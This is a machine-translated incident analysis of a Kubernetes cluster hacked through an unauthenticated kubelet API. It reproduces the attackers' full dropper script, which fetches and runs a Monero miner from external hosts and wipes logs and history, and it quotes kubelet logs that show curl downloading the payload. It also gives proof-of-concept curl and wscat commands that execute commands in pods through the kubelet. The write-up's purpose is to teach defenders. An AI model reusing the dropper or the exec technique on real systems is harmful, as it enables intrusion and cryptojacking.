Kubernetes hack分析-通过kubelet后门


对于Kubernetes一无所知,最近三年人们不得不住在一个山洞里。 Handy开发基础架构,CI / CD和生产均基于Kubernetes多集群生态系统构建。 可以说我们是Handy中Kubernetes的粉丝,这就是为什么当我们同事的Kubernetes私有集群上周末遭到黑客攻击时,我们感到非常惊讶。


他们感到惊讶和欣喜,因为他们在Kubernetes中发现了一个鲜为人知的故障。 在本文中,我们将研究同事的集群是如何被黑客入侵的,以及如何通过在自己的集群中重新创建这种攻击来确认我们的发现。 该攻击已在Kubernetes 1.9中进行了测试,但可以在较旧的群集上使用。


免责声明 :本文是关于我们同事的个人服务器的。 基础设施便捷技术并未受到损害。


哈克


有缺陷的集群是在Alpine Linux之上运行的唯一Kubernetes部署节点。 第一个黑客指示器是一个可疑进程,它是docker守护程序的子进程:


/tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B 

端点卷曲将返回以下文本:


 Mining Proxy Online 

似乎有人找到了一种将加密矿软件放入工作容器并启动该过程的方法。


docker覆盖目录中的容器(/ var / lib / docker / overlay2 / b5a8a22f1e41b3b1ce504a6c941fb2805c28a454f75e2831c3a38d4d35388bd7)中搜索udevs文件时,会下载并下载一个名称为“ kube.lock”的dropper脚本。


 #!/bin/bash yum install wget -y apt-get install wget -y PS2=$(ps aux | grep udevs | grep -v "grep" | wc -l) if [ $PS2 -eq 0 ]; then rm -rf /tmp/udevs* wget https://transfer.sh/JyRqn/nodepadxx --no-check-certificate -O /tmp/udevs fi if [[ $? -ne 0 && $PS2 -eq 0 ]]; then curl -sk https://transfer.sh/JyRqn/nodepadxx -o /tmp/udevs fi chmod +x /tmp/udevs chmod 777 /tmp/udevs if [ $PS2 -eq 0 ]; then /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B fi if [[ $? -ne 0 && $PS2 -eq 0 ]]; then echo $? wget https://transfer.sh/9uRre/glibc-2.14.tar.gz --no-check-certificate -O /tmp/glibc-2.14.tar.gz && tar zxvf /tmp/glibc-2.14.tar.gz -C /tmp/ && export LD_LIBRARY_PATH=/tmp/opt/glibc-2.14/lib:$LD_LIBRARY_PATH && /tmp/udevs -o stratum+tcp://pool.zer0day.ru:8080 -u NewWorld -p NewWorld --safe -B && echo "" > /var/log/wtmp && echo "" > /var/log/secure && history -c fi 

此外,VirusTotal上/ tmp / udevs程序的MD5签名(a4404be67a41f144ea86a7838f357c26) 被定义为可能的Monero Miner:



因此,我们知道破解者以某种方式将kube.lock脚本放入容器中并运行它。 但是如何?


kubernetes api服务器的公共访问已打开,但受到证书身份验证的保护。 首先,我们假设集群中工作的图像之一在供应链上受到攻击。 但是,在研究了kubelet日志后,我们注意到了以下几点:


 /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing '从运行时 /var/log/kubernetes/kubelet.log:E0311 12:38:30.400289 2991 remote_runtime.go:332] ExecSync 95bd5c4a43003517c0077fbad285070fb3c5a94ff5d5c82e02c1d074635d1829 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing /var/log/kubernetes/kubelet.log:E0311 12:38:30.400974 2991 remote_runtime.go:332] ExecSync 916f8bff4edb547a3e3de184968bb651717883e8b3856e76d0ebc95ecbeb3a3d 'curl http://185.10.68.202:5050/mrx -o /tmp/kube.lock' from runtime service failed: rpc error: code = Internal desc = transport is closing 

看起来饼干在某种程度上是kubelet中的exec exec 。 Google应请求“身份验证Kubelet”发布了Kubernetes文档中的文本:


默认情况下,未通过其他配置的身份验证方法拒绝的对HTTPS kubelet终结点的请求将被视为匿名请求,其使用系统:匿名用户名和系统:未认证组

Kubelet身份验证/授权


如果在Kubelet中未指定任何标志,则默认情况下将使用接受未通过身份验证的API请求的模式。 请记住,要使主节点->节点链接正常工作,Kubernetes API服务器必须与节点上的kubelet交换信息。


事实证明,我们同事的服务器还公开暴露了kubelet端口(tcp 10250,tcp 10255)。 尽管错误很明显,但是最好检查一下自己的Kubernetes的部署方式。


如果用户有权访问节点,则kubelet API是尚未通过API身份验证的群集的功能齐全的后门。


因此,如果您在激活身份验证和授权(webhook,RBAC等)时遇到问题,请确保保护kubelet。


关于 Kubelet通信安全性存在严重的问题 ,这个问题值得更多关注。


概念证明


要将命令直接发送到kubelet,必须使用如下所述的API:



Kubelet侦听两个端口:10255和10250。第一个是只读HTTP端口,第二个是可以执行任何操作的HTTPS端口。


选择集群中的任何节点,然后尝试列出Pod:


 curl --insecure https://kube-node-here:10250/pods | jq 

exec的路由(未在kubelet页面上记录)与API服务器路由类似,但需要两个请求:初始POST和随后的GET,该GET使用支持SPDY的客户端(或也支持的Websocket客户端)。


通过kubelet在正在运行的容器中运行命令。


找到要在上一个请求中作为目标的节点上运行的那个。 使用curl运行以下查询:


 curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://kube-node-here:10250/exec/<namespace>/<podname>/<container-name>?command=touch&command=hello_world&input=1&output=1&tty=1" 

这应该返回带有代码302的响应,该响应将重定向到流:


 < HTTP/2 302 < location: /cri/exec/PfWkLulG < content-type: text/plain; charset=utf-8 < content-length: 0 < date: Tue, 13 Mar 2018 19:21:00 GMT 

使用wscat启动流:


 wscat -c "https://kube-node-here:10250/cri/exec/PfWkLulG" --no-check connected (press CTRL+C to quit) < < disconnected 

由于我们只是touch hello_world ,因此它将创建文件并断开连接。 如果要执行带输出的命令,则在执行上述命令后将看到结果。


结论


尽管此行为与文档一致,但许多人不知道如果没有适当的配置,他们会在Kubernetes多用户环境中遇到安全漏洞。


我们已经讨论了Kubernetes的安全问题之一。 评论!


2018年3月14日补丁


经过深入研究,似乎即使启用了Kubelet身份验证,它也仅适用于HTTPS端口(10250)。 这意味着只读的HTTP端口(10255)仍然保持打开状态,没有网络ACL以外的任何安全功能。


读取端口可以列出/pods路由上的炉床规格,这意味着可以访问敏感数据,例如环境变量。


就在28天前, 更改代码,以便默认情况下禁用不安全的端口。


原文: 分析Kubernetes黑客-通过kubelet进行后门

Source: https://habr.com/ru/post/zh-CN413565/


All Articles